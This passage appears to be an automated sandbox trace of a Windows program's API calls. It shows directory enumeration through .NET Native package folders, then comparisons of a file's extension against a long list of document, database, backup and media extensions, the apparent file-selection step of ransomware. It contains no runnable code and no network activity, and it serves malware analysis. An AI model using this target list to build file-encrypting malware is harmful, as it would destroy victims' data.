returned 1 [0091.449] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fbe1144, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae652687, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5be1c081, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI0106~1.0_X")) returned 1 [0091.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.452] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbe1144, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4fbe1144, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4fbe1144, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0091.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.454] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdb90dade, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd257af62, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd257af62, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0091.454] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0091.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.454] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbe1144, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4fbe1144, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4ff4e801, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x628950, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SharedLibrary.dll", cAlternateFileName="")) returned 1 [0091.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.455] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x569db5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb046ec20, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb046ec20, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI04D1~1.0_X")) returned 1 [0091.458] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.458] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b6267, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5b6267, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5b6267, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0091.461] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.462] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdb79a84, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdb79a84, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdb79a84, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0091.462] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0091.462] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.463] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc4c1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb39994, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xb39994, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x783b50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SharedLibrary.dll", cAlternateFileName="")) returned 1 [0091.463] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.464] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf855c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf7c444d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xaf7c444d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe", cAlternateFileName="MIF51B~1.0_X")) returned 1 [0091.465] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.465] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44a0e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc44a0e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc44a0e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0091.467] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.467] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd96398a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd96398a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd96398a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0091.467] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0091.467] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.467] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44a0e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1070c0a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1070c0a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x602550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SharedLibrary.dll", cAlternateFileName="")) returned 1 [0091.468] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.468] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115e8dfa, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xae7e244c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x12f3e2a7, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI67F0~1.0_X")) returned 1 [0091.472] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.472] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119a28c1, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x119a28c1, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x12d01ea9, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x297e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1 [0091.476] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0091.476] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdbfe8744, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa8c8ab51, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa8c8ab51, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0091.476] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0091.476] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.477] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11a614e2, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x11a614e2, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x12d01ea9, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x717f50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SharedLibrary.dll", cAlternateFileName="SHARED~1.DLL")) returned 1 [0091.477] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.478] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13f7c62e, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xae87e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x164e3d2d, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI2C2E~1.0_X")) returned 1 [0091.480] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.480] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141b8a48, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x141b8a48, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x164250c2, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x297e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1 [0091.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.483] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdc925941, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa8e2e542, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa8e2e542, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0091.483] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0091.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.484] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1425138b, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1425138b, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x164250c2, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x5d9b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SharedLibrary.dll", cAlternateFileName="SHARED~1.DLL")) returned 1 [0091.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.485] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb26701cd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae8ff986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69da07d7, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIEBDA~1.0_X")) returned 1 [0092.462] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2696342, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb2696342, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb2696342, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.463] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdd0e53b5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdd0e53b5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdd0e53b5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.463] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0092.463] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.463] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2696342, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb2696342, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb2696342, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100.dll", cAlternateFileName="")) returned 1 [0092.463] lstrlenW (lpString="mrt100.dll") returned 10 [0092.463] lstrlenW (lpString=".1cd") returned 4 [0092.463] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.463] lstrlenW (lpString=".3ds") returned 4 [0092.464] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".3fr") returned 4 [0092.464] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".3g2") returned 4 [0092.464] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".3gp") returned 4 [0092.464] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".7z") returned 3 [0092.464] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.464] lstrlenW (lpString=".accda") returned 6 [0092.464] lstrcmpiW (lpString1=".accda", lpString2="00.dll") returned -1 [0092.464] lstrlenW (lpString=".accdb") returned 6 [0092.464] lstrcmpiW (lpString1=".accdb", lpString2="00.dll") returned -1 [0092.464] lstrlenW (lpString=".accdc") returned 6 [0092.464] lstrcmpiW (lpString1=".accdc", lpString2="00.dll") returned -1 [0092.464] lstrlenW (lpString=".accde") returned 6 [0092.464] lstrcmpiW (lpString1=".accde", lpString2="00.dll") returned -1 [0092.464] lstrlenW (lpString=".accdt") returned 6 [0092.464] lstrcmpiW (lpString1=".accdt", lpString2="00.dll") returned -1 [0092.464] lstrlenW (lpString=".accdw") returned 6 [0092.464] lstrcmpiW (lpString1=".accdw", lpString2="00.dll") returned -1 [0092.464] lstrlenW (lpString=".adb") returned 4 [0092.464] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".adp") returned 4 [0092.464] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".ai") returned 3 [0092.464] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0092.464] lstrlenW (lpString=".ai3") returned 4 [0092.464] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".ai4") returned 4 [0092.464] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".ai5") returned 4 [0092.464] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0092.464] lstrlenW (lpString=".ai6") returned 4 [0092.465] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".ai7") returned 4 [0092.465] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".ai8") returned 4 [0092.465] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".anim") returned 5 [0092.465] lstrcmpiW (lpString1=".anim", lpString2="0.dll") returned -1 [0092.465] lstrlenW (lpString=".arw") returned 4 [0092.465] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".as") returned 3 [0092.465] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0092.465] lstrlenW (lpString=".asa") returned 4 [0092.465] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".asc") returned 4 [0092.465] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".ascx") returned 5 [0092.465] lstrcmpiW (lpString1=".ascx", lpString2="0.dll") returned -1 [0092.465] lstrlenW (lpString=".asm") returned 4 [0092.465] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".asmx") returned 5 [0092.465] lstrcmpiW (lpString1=".asmx", lpString2="0.dll") returned -1 [0092.465] lstrlenW (lpString=".asp") returned 4 [0092.465] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".aspx") returned 5 [0092.465] lstrcmpiW (lpString1=".aspx", lpString2="0.dll") returned -1 [0092.465] lstrlenW (lpString=".asr") returned 4 [0092.465] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".asx") returned 4 [0092.465] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".avi") returned 4 [0092.465] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".avs") returned 4 [0092.465] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0092.465] lstrlenW (lpString=".backup") returned 7 [0092.465] lstrcmpiW (lpString1=".backup", lpString2="100.dll") returned -1 [0092.465] lstrlenW (lpString=".bak") returned 4 [0092.466] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".bay") returned 4 [0092.466] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".bd") returned 3 [0092.466] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0092.466] lstrlenW (lpString=".bin") returned 4 [0092.466] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".bmp") returned 4 [0092.466] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".bz2") returned 4 [0092.466] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".c") returned 2 [0092.466] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0092.466] lstrlenW (lpString=".cdr") returned 4 [0092.466] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".cer") returned 4 [0092.466] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".cf") returned 3 [0092.466] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0092.466] lstrlenW (lpString=".cfc") returned 4 [0092.466] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".cfm") returned 4 [0092.466] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".cfml") returned 5 [0092.466] lstrcmpiW (lpString1=".cfml", lpString2="0.dll") returned -1 [0092.466] lstrlenW (lpString=".cfu") returned 4 [0092.466] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".chm") returned 4 [0092.466] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".cin") returned 4 [0092.466] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".class") returned 6 [0092.466] lstrcmpiW (lpString1=".class", lpString2="00.dll") returned -1 [0092.466] lstrlenW (lpString=".clx") returned 4 [0092.466] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0092.466] lstrlenW (lpString=".config") returned 7 [0092.467] lstrcmpiW (lpString1=".config", lpString2="100.dll") returned -1 [0092.467] lstrlenW (lpString=".cpp") returned 4 [0092.467] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".cr2") returned 4 [0092.467] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".crt") returned 4 [0092.467] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".crw") returned 4 [0092.467] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".cs") returned 3 [0092.467] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0092.467] lstrlenW (lpString=".css") returned 4 [0092.467] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".csv") returned 4 [0092.467] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".cub") returned 4 [0092.467] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".dae") returned 4 [0092.467] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".dat") returned 4 [0092.467] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".db") returned 3 [0092.467] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0092.467] lstrlenW (lpString=".dbf") returned 4 [0092.467] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".dbx") returned 4 [0092.467] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".dc3") returned 4 [0092.467] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".dcm") returned 4 [0092.467] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".dcr") returned 4 [0092.467] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".der") returned 4 [0092.467] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0092.467] lstrlenW (lpString=".dib") returned 4 [0092.467] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0092.468] lstrlenW (lpString=".dic") returned 4 [0092.468] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0092.468] lstrlenW (lpString=".dif") returned 4 [0092.468] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0092.468] lstrlenW (lpString=".divx") returned 5 [0092.468] lstrcmpiW (lpString1=".divx", lpString2="0.dll") returned -1 [0092.468] lstrlenW (lpString=".djvu") returned 5 [0092.468] lstrcmpiW (lpString1=".djvu", lpString2="0.dll") returned -1 [0092.468] lstrlenW (lpString=".dng") returned 4 [0092.468] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0092.468] lstrlenW (lpString=".doc") returned 4 [0092.468] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.468] lstrlenW (lpString=".docm") returned 5 [0092.468] lstrcmpiW (lpString1=".docm", lpString2="0.dll") returned -1 [0092.468] lstrlenW (lpString=".docx") returned 5 [0092.468] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.468] lstrlenW (lpString=".dot") returned 4 